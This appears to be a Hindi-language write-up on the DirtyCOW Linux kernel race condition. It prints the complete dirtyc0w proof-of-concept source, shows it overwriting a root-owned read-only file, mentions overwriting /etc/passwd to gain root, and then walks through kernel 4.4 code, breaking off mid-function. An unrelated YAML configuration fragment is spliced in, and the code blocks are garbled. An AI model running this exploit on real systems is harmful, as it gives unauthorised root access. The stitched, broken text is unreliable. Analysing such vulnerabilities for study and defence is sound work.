
DirtyCOW नोट्स
void *map; int f; struct stat st; char *name;
void *madviseThread(void *arg) { char str; str = (char)arg; int i, c = 0; for(i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); }
void *procselfmemThread(void *arg) { char str; str = (char)arg;
int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }
int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
यह टूल कई क्लाउड प्लेटफ़ॉर्म पर उपयोग किया जा सकता है।
### कॉन्फ़िगरेशन फ़ाइल
```yaml
target:
api: "https://api.example.com"
account: "test-account"
आप कई लक्ष्य सेट कर सकते हैं।``` $ sudo su
$ $ ll flag.txt -r-----r-- 1 root root 10 flag.txt $ echo "aaaaaa" > flag.txt Permission Denied $ $ gcc -pthread dirty.c -o dirty $ ./dirty flag.txt aaaaaa mmap 7f1a35bc4000
procselfmem -2094967296
madvise 0 $ cat flag.txt aaaaaa
यह एक सामान्य शोषण तकनीक है जहां `/etc/passwd` में अनधिकृत रूप से लिखकर रूट उपयोगकर्ता को संशोधित किया जाता है या उपयोगकर्ता की अनुमतियों को बदलकर विशेषाधिकार वृद्धि की जाती है।
## विश्लेषण
### शोषण विश्लेषण
पहले देखते हैं कि exp क्या करता है```c
int main(int argc, char *argv[]) {
if (argc < 3) {
(void)fprintf(stderr, "%s\n","usage: dirtyc0w target_file new_content");
return 1;
}
pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY);
fstat(f, &st);
name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]);
pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
pthread को कॉल कर दो थ्रेड बनाएंfopen से केवल-पढ़ने के लिए लक्ष्य फ़ाइल argv[1] खोलेंmmap से मेमोरी में मैप करें (पता यादृच्छिक), MAP_PRIVATE का कार्य एक कार्य-निजी मेमोरी मैपिंग बनाना है। यदि कोई अन्य कार्य इस मेमोरी में लिखने का प्रयास करता है, तो यह प्रक्रिया लिखने से पहले एक प्रतिलिपि बनाकर लिखती है, जिससे चाइल्ड प्रक्रिया या थ्रेड शुरू करते समय पूरे मेमोरी स्पेस की प्रतिलिपि बनाने में अधिक समय और स्थान खर्च नहीं करना पड़ता, और कार्यों के बीच समवर्ती मेमोरी संचालन एक-दूसरे को प्रभावित नहीं करते, इसे CopyOnWrite कहते हैंmadviseThread और दूसरा procselfmemThread निष्पादित करता हैफिर दो थ्रेड के निष्पादन बॉडी को देखें
madvise को कॉल करके कर्नेल को मैप की गई मेमोरी या साझा मेमोरी के उपयोग की स्थिति बताता है। MADV_DONTNEED इंगित करता है कि अब इस मेमोरी क्षेत्र का उपयोग नहीं किया जाएगा, कर्नेल इसे मुक्त कर सकता है/proc/self/mem खोलता है, यह फ़ाइल प्रक्रिया की अपनी वर्चुअल मेमोरी का फ़ाइल मैपिंग है, फिर लगातार लक्ष्य जानकारी को फ़ाइल में लिखने का प्रयास करता है```c
void *madviseThread(void *arg) {
char str;
str = (char)arg;
int i, c = 0;
for(i = 0; i < 100000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}void *procselfmemThread(void *arg) { char str; str = (char)arg;
int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }
अंततः, दो थ्रेड्स के बार-बार हमलों के तहत, कर्नेल में एक प्रतिस्पर्धा भेद्यता (race condition vulnerability) उत्पन्न हुई, `procselfmemThread` ने सफलतापूर्वक एक केवल-पढ़ने योग्य फ़ाइल में लिखा
### Kernel Analysis
- बड़ी शर्त: `mmap` केवल vma पर मेमोरी मैपिंग स्थापित करता है, लेकिन वास्तव में मैप की गई फ़ाइल को भौतिक पृष्ठ फ्रेम में नहीं रखता। इसलिए जब हम पहली बार `write` फ़ाइल का प्रयास करते हैं, तो पेज फॉल्ट (page fault) उत्पन्न होना अनिवार्य है।
- यहाँ चुना गया कर्नेल संस्करण 4.4 है
#### जब हम लिखते हैं तो क्या होता है
##### mem_rw
हम `write` से विश्लेषण शुरू करते हैं। फ़ाइल पर किसी भी संक्रिया को फ़ाइल सिस्टम द्वारा VFS पर पंजीकृत वर्चुअल तालिका `file_operations` से गुज़रना होता है, और `/proc` पर फ़ाइलें procfs द्वारा कार्यान्वित की जाती हैं, `proc_mem_operations` ढूंढें, देख सकते हैं कि `write` `mem_write` से बाध्य है।```c
static const struct file_operations proc_mem_operations = {
.llseek = mem_lseek,
.read = mem_read,
.write = mem_write,
.open = mem_open,
.release = mem_release,
};
mem_write mem_rw का एक आवरण है (write फ़्लैग 1 पर सेट है), mem_rw की मुख्य प्रक्रिया है
पहले __get_free_page एक अस्थायी खाली पृष्ठ को बफ़र के रूप में आवंटित करता है
यदि लिखना ऑपरेशन है, तो copy_from_user को कॉल करके लिखे जाने वाले डेटा को अस्थायी पृष्ठ पर कॉपी करें
फिर access_remote_vm लक्ष्य डेटा को खाली पृष्ठ पर पढ़ता है (पढ़ना) या बफ़र की सामग्री को लक्ष्य पते पर लिखता है (लिखना)
यदि पढ़ना ऑपरेशन है, तो पिछले चरण में खाली पृष्ठ पर पढ़े गए डेटा को उपयोगकर्ता के बफ़र पर वापस लिखें```c static ssize_t mem_rw(struct file *file, char __user *buf, size_t count, loff_t *ppos, int write) { struct mm_struct *mm = file->private_data; unsigned long addr = *ppos; ssize_t copied; char *page;
if (!mm) return 0;
page = (char *)__get_free_page(GFP_TEMPORARY); // 申请临时空闲页面 if (!page) return -ENOMEM;
copied = 0; if (!atomic_inc_not_zero(&mm->mm_users)) goto free;
while (count > 0) { int this_len = min_t(int, count, PAGE_SIZE); // 本次读取/写入数据长度,单次最大为PAGE_SIZE
if (write && copy_from_user(page, buf, this_len)) { // 若是写操作,从用户空间拷贝待写数据到临时空闲页面
copied = -EFAULT;
break;
}
this_len = access_remote_vm(mm, addr, page, this_len, write); // 读取/写入数据到临时空闲页面
if (!this_len) {
if (!copied)
copied = -EIO;
break;
}
if (!write && copy_to_user(buf, page, this_len)) { // 若是读操作,将读取到的数据从临时空闲页面拷贝数据到用户空间
copied = -EFAULT;
break;
}
buf += this_len;
addr += this_len;
copied += this_len;
count -= this_len;
} *ppos = addr;
mmput(mm); free: free_page((unsigned long) page); // 释放临时空闲页面 return copied; }
##### __access_remote_vm
`access_remote_vm` `__access_remote_vm` के लिए एक रैपर है। मुख्य प्रक्रिया है:
- `get_user_pages` लक्ष्य पते `addr` पर स्थित page struct प्राप्त करता है
- यदि प्राप्ति सफल होती है, तो `kmap` को कॉल करके page को कर्नेल के high memory में मैप किया जाता है (page भौतिक पृष्ठ को संदर्भित करता है)
- यदि मेमोरी एक्सेस एक लेखन ऑपरेशन है, तो डेटा को लिखने के बाद डर्टी बिट सेट किया जाता है; यदि पढ़ने का ऑपरेशन है, तो डेटा को पढ़ लिया जाता है```c
static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm,
unsigned long addr, void *buf, int len, int write)
{
struct vm_area_struct *vma;
void *old_buf = buf;
down_read(&mm->mmap_sem);
/* ignore errors, just check how much was successfully transferred */
while (len) {
int bytes, ret, offset;
void *maddr;
struct page *page = NULL;